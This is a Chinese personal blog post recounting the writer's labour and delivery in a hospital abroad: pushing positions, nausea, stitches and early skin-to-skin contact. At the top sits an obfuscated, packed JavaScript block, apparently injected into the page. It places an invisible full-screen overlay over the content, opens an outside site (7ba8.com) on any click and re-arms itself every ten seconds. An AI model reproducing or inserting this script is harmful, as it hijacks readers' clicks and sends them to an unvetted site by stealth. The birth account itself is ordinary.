<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>当宫口开到10cm的时候就可以用力向外推了。那时候的我还没有完全打开，
不过已经受不了了，不得不PUSH了。其实每个准妈妈的情况都是不一样的，
有的人很容易到达，有的人就很难。
我躺在产床上用力PUSH，之前宫缩期疼痛期间没有大声喊叫，是为了这个
时候积攒力气。所以建议准妈妈们在前期不要耗费太多体力。插一句，在
宫缩期间疼痛是一定的，有的人会呕吐，我当时就是一直在喝水，也一直
在呕吐，不建议在宫缩疼痛期间吃东西，喝些温水是可以的，但不要吃巧
克力之类的东西，不然到后来就知道那不是好办法，我当时吃了一小口巧
克力，后来连同喝的水全吐出去了，之后很长时间我都不想吃巧克力，
因为一闻到那个味道就会想起那时候呕吐的滋味。
当宫口完全打开的时候就已经没有了宫缩的疼痛了看，所以唯一要做的是
用力PUSH把宝宝生出来。我躺在床上，大汗淋漓，把全身所有的力气都用
上了，就这样使劲了好久没有任何结果。助产士一直在旁边，接生的医生
也在一个劲儿地鼓励我，可是就是生不出来。
后来医生把床头竖起来，双臂搭在竖起的床头上，双膝跪在床上用力PUSH，
就这样的姿势使劲了一段时间，那时候我已经感觉到全身的力气在慢慢耗尽。。。
医生继续鼓励着：你做得很好，要再努力呀！很好！我知道国外的医生都
会一直说你做得好，哪怕你实际做的并不好。之前朋友都告诉我如果长时
间生不出来孩子可能会窒息，所以一定要抓紧时间。现在还清楚地记得，
那时那刻的我，想要拼了命的使劲，跪着的姿势时，医生说已经可以见到
孩子的头发了，要我继续用力，就这样又过了一些时间，始终都没有
什么太大进展。
医生又让我换了姿势，这次她拿来一个U形的支架，放在床尾，让我蹲在床
尾，双手拉着头顶上的U形横梁，我继续拼命PUSH,这时候是拼命地向下PUSH，
在那刻，撕裂的疼痛已经显得微不足道了，当我听到孩子的哭声时，我知道，
我做到了！肚子里的东西哈拉拉的就出来了，那时候的感觉真的很好！接着
就是我的大腿上挨了一针，迷迷糊糊地问医生那是什么，医生告诉我，是为
了让胎盘迅速脱落的。老公剪了脐带，然后把宝宝放到了我的胸前，SKIN
TO SKIN COMTACT,宝宝睁着眼睛，哭着，在我胸前摸索着，吃了几口奶，大概
过了15分钟就被医生抱走称重了3.16KG，不大不小。那时的仿佛重生一般，眼
睛望着天花板，没有激动的眼泪，那时候已经没有力气哭了。接下来就是缝合，
对于准妈妈来说听起来似乎很吓人，甚至有人因为这个而选择剖腹产，其实，
经历生产的疼痛后，缝合的疼痛已经显得微不足道了，缝合期间我继续吸GAS，
因为本身体力已经耗尽，吸GAS过多，所以又出现了短暂的晕厥。之后就是短
暂的休息，助产士会给你一些吃的和喝的，然后就坐上轮椅，推着宝宝去早
已经安排好的病房了。
大家一定会在想，起初陪产是老公和婆婆，为什么整个过程对婆婆只字未提
呢？说起来很有意思，我婆婆在我宫缩阵痛期间就已经承受不了而离开了产
房，如果她继续呆下去的话，医生不但要帮我接生，还要照顾我婆婆。
回到病房后沉沉地睡了一觉，醒来后发现周身的肌肉没有一处不酸疼的，不
过我很开心。回想那时，我经历了二十多年未曾有过痛苦，却换来了二十多
年不曾有过的幸福，即使再大的痛苦，也都是值得的。所以姐妹们，不要害
怕，过程虽然有些艰辛，但一切都是值得的！
下一篇会继续写产前去医院待产需要准备哪些东西。
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